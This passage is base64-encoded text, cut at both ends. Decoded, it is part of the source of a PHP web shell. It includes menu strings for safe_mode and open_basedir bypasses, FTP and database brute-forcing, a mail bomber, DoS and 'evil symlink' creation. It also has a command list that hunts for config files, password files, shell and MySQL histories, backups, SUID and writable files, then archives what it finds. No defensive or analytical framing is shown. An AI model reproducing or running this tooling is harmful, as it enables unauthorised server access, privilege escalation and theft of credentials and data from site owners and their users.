onZW5nX3RleHQ2Myc9PidGaWxlIGRlbGV0ZWQnLAonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsCidlbmdfdGV4dDY2Jz0+J0RlbGV0ZScsCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywKJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsCidlbmdfdGV4dDY5Jz0+J3BhcmFtMScsCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLAonZW5nX3RleHQ3Mic9PidUZXh0IGZvciBmaW5kJywKJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLAonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywKJ2VuZ190ZXh0NzUnPT4nKiB5b3UgY2FuIHVzZSByZWdleHAnLAonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsCidlbmdfdGV4dDgwJz0+J1R5cGUnLAonZW5nX3RleHQ4MSc9PidOZXQnLAonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLAonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODQnPT4nU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywKJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLAonZW5nX2J1dHQxNCc9PidEb3dubG9hZCcsCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLAonZW5nX3RleHQ4OCc9PidzZXJ2ZXI6cG9ydCcsCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywKJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsCidlbmdfdGV4dDkxJz0+J0FyY2hpdmF0aW9uJywKJ2VuZ190ZXh0OTInPT4nd2l0aG91dCBhcmNoLicsCidlbmdfdGV4dDkzJz0+J0ZUUCcsCidlbmdfdGV4dDk0Jz0+J0ZUUC1icnV0ZWZvcmNlJywKJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsCidlbmdfdGV4dDk3Jz0+J2NoZWNrZWQ6ICcsCidlbmdfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsCidlbmdfdGV4dDk5Jz0+Jy9ldGMvcGFzc3dkJywKJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsCidlbmdfdGV4dDEwMSc9PidVc2UgcmV2ZXJzZSAodXNlciAtPiByZXN1KScsCidlbmdfdGV4dDEwMic9PidNYWlsJywKJ2VuZ190ZXh0MTAzJz0+J1NlbmQgZW1haWwnLAonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywKJ2VuZ190ZXh0MTA1Jz0+J1RvJywKJ2VuZ190ZXh0MTA2Jz0+J0Zyb20nLAonZW5nX3RleHQxMDcnPT4nU3ViaicsCidlbmdfYnV0dDE1Jz0+J1NlbmQnLAonZW5nX3RleHQxMDgnPT4nTWFpbCcsCidlbmdfdGV4dDEwOSc9PidIaWRlJywKJ2VuZ190ZXh0MTEwJz0+J1Nob3cnLAonZW5nX3RleHQxMTEnPT4nU1FMLVNlcnZlciA6IFBvcnQnLAonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsIChQSFAgPD0gNC4wLTQuMi4yLCA1LngpJywKJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0IChQSFAgPD0gNS4xLjIpJywKJ2VuZ190ZXh0MTE0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBmaWxlIGNvbnRlc3QgdmlhIGltYXBfYm9keSAoUEhQIDw9IDUuMS4yKScsCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29weVtjb21wcmVzcy56bGliOi8vXSAoUEhQIDw9IDQuNC4yLCA1LjEuMiknLAonZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywKJ2VuZ190ZXh0MTE3Jz0+J3RvJywKJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywKJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywKJ2VuZ190ZXh0MTIwJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB2aWEgaW5pX3Jlc3RvcmUgKFBIUCA8PSA0LjQuNCwgNS4xLjYpIGJ5IE5TVCcsCidlbmdfdGV4dDEyMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLAonZW5nX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBnbG9iIChQSFAgPD0gNS4yLngpJywKJ2VuZ190ZXh0MTIzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLmJ6aXAgZmlsZSB2aWEgW2NvbXByZXNzLmJ6aXAyOi8vXSAoUEhQIDw9IDUuMi4xKScsCidlbmdfdGV4dDEyNCc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIGFkZCBkYXRhIHRvIGZpbGUgdmlhIGVycm9yX2xvZ1twaHA6Ly9dIChQSFAgPD0gNS4xLjQsIDQuNC4yKScsCidlbmdfdGV4dDEyNSc9PidEYXRhJywKJ2VuZ190ZXh0MTI2Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9wYXRoW05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLAonZW5nX3RleHQxMjcnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSByZWFkZmlsZVtwaHA6Ly9dIChQSFAgPD0gNS4yLjEsIDQuNC40KScsCidlbmdfdGV4dDEyOCc9PidNb2RpZnkvQWNjZXNzIGRhdGUodG91Y2gpJywKJ2VuZ190ZXh0MTI5Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIGZvcGVuW3NycGF0aDovL10gKFBIUCB2NS4yLjApJywKJ2VuZ190ZXh0MTMwJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgcmVhZCAqLnppcCBmaWxlIHZpYSBbemlwOi8vXSAoUEhQIDw9IDUuMi4xKScsCidlbmdfdGV4dDEzMSc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAonZW5nX3RleHQxMzMnPT4nJywKJ2VuZ190ZXh0MTM0Jz0+J0RhdGFiYXNlLWJydXRlZm9yY2UnLAonZW5nX3RleHQxMzUnPT4nRGljdGlvbmFyeScsCidlbmdfdGV4dDEzNic9PidDcmVhdGluZyBldmlsIHN5bWxpbmsnLAonZW5nX3RleHQxMzcnPT4nVXNlZnVsJywKJ2VuZ190ZXh0MTM4Jz0+J0Rhbmdlcm91cycsCidlbmdfdGV4dDEzOSc9PidNYWlsIEJvbWJlcicsCidlbmdfdGV4dDE0MCc9PidEb1MnLAonZW5nX3RleHQxNDEnPT4nRGFuZ2VyISBXZWItZGFlbW9uIGNyYXNoIHBvc3NpYmxlLicsCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywKJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLAonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLAonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLAopOwovKgr7+PC4IPr+/PD99Aq5/vfy/vugLiD49/H19vAuLiD8/f7z/vqo8C79/vP+IP3w8f6o8CD+9P34LiD4IC71Li329SD6/vzw/fQuICggtvT1+/D9/iDx+/Dz/vTwqKAg/P71+SD/qPio/vT9/vkg+/X9+CApCiD8/vb1LvUguPD8+CD0/vHw8vugLi4g+Pv4IPj3/PX9oC4uIPr+/PD99C4KKi8KJGFsaWFzZXM9YXJyYXkoCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tbG9jYXRlJz0+JycsCidsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBodHRwZC5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIHZob3N0cy5jb25mIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIHZob3N0cy5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBwcm9mdHBkLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgcHN5Ym5jLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgcHN5Ym5jLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgbXkuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBteS5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGFkbWluLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBhZG1pbi5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgY2ZnLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjZmcucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGNvbmYucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmYucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgY29uZmlnLmRhdCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSBjb25maWcucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgY29uZmlnLmluYyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuaW5jID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5pbmMucGhwIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGNvbmZpZy5pbmMucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5jb25mIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSAucHdkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIucHdkIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSAuc3FsIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlICIuc3FsIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSAuaHRwYXNzd2QgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5odHBhc3N3ZCIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2xvY2F0ZSAiLmJhc2hfaGlzdG9yeSIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5teXNxbF9oaXN0b3J5IiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSBiYWNrdXAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgYmFja3VwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonbG9jYXRlIGR1bXAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgZHVtcCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSBwcml2IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIHByaXYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tdGFyJz0+JycsCid0YXIgLWN6dmYgYWxsLnRneiAtVCAvdG1wL2dyZXAudHh0Jz0+J3RhciAtY3p2ZiBhbGwudGd6IC1UIC90bXAvZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEnPT4nJywKJ2xvY2F0ZSBhY2Nlc3NfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzc19sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgZXJyb3JfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGVycm9yX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSBhY2Nlc3MubG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGFjY2Vzcy5sb2cgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidsb2NhdGUgZXJyb3IubG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nbG9jYXRlIGVycm9yLmxvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2xvY2F0ZSAiLmxvZyIgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9Pidsb2NhdGUgIi5sb2ciID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTInPT4nJywKJ2NhdCAvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nIHwgZ3JlcCBwYXNzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nY2F0IC92YXIvbG9nL2h0dHBkL2FjY2Vzc19sb2cgfCBncmVwIHBhc3MgPj4gL3RtcC9ncmVwLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tZmluZCc9PicnLAonZmluZCBzdWlkIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgc2dpZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpciA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMgID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC1wZXJtIC0yIC1scyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC4gLXBlcm0gLTIgLWxzICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5ICA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGh0dHBkLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBodHRwZC5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCB2aG9zdHMuY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHZob3N0cy5jb25mID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBwcm9mdHBkLmNvbmYgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBwcm9mdHBkLmNvbmYgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGFkbWluLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGFkbWluLnBocCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnKiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIiAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGNmZy5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjZmcucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBjb25mLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmYucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBjb25maWcuZGF0IGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmRhdCA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kIGNvbmZpZy5pbmMgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGVmYXVsdC5waHAgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kICouY29uZiBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqLmNvbmYiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCAqLnB3ZCBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqLnB3ZCIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCidmaW5kICouc3FsIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIiouc3FsIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgKmJhY2t1cCogZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKmJhY2t1cCoiID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCAqZHV